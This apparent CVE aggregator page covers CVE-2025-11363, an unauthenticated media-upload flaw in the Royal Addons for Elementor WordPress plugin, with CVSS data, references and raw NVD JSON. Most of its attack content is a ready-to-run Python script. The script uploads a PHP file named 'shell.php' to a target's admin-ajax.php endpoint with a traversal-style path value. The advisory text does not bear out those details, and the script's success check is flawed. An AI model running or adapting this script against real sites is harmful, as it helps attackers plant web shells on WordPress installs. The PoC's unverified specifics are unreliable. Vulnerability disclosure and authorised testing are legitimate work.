CVE-2025-11363

Description

The Royal Addons for Elementor WordPress plugin before 1.7.1037 does not have proper authorisation, allowing unauthenticated users to upload media files via the wpr_addons_upload_file action.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Royal Addons for Elementor < 1.7.1037

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-11363 PoC - Unauthenticated File Upload
# Royal Addons for Elementor < 1.7.1037

def exploit(target_url, file_content='<?php echo "PWNED"; ?>'):
    """
    Exploit for CVE-2025-11363: Unauthenticated file upload in Royal Addons for Elementor
    """
    target = target_url.rstrip('/')
    
    # Prepare malicious file
    files = {
        'file': ('shell.php', file_content, 'application/x-php')
    }
    
    # Send upload request via AJAX action
    data = {
        'action': 'wpr_addons_upload_file',
        'path': '../../uploads/'
    }
    
    try:
        response = requests.post(
            f'{target}/wp-admin/admin-ajax.php',
            files=files,
            data=data,
            timeout=10
        )
        
        if response.status_code == 200:
            print(f'[+] Request sent successfully')
            print(f'[+] Response: {response.text}')
            # Check for uploaded file path in response
            if 'uploads' in response.text or response.json():
                print('[+] File may have been uploaded')
                return True
        else:
            print(f'[-] Request failed with status: {response.status_code}')
            return False
            
    except Exception as e:
        print(f'[-] Error: {str(e)}')
        return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: python {sys.argv[0]} <target_url>')
        sys.exit(1)
    exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11363
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11363
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11363/
[4] VulDB https://vuldb.com/cve/CVE-2025-11363
[5] https://wpscan.com/vulnerability/b2eadb7a-30a4-44c7-a420-849484faccf4/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11363", "sourceIdentifier": "[email protected]", "published": "2025-12-15T06:15:42.383", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Addons for Elementor WordPress plugin before 1.7.1037 does not have proper authorisation, allowing unauthenticated users to upload media files via the wpr_addons_upload_file action."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/b2eadb7a-30a4-44c7-a420-849484faccf4/", "source": "[email protected]"}]}}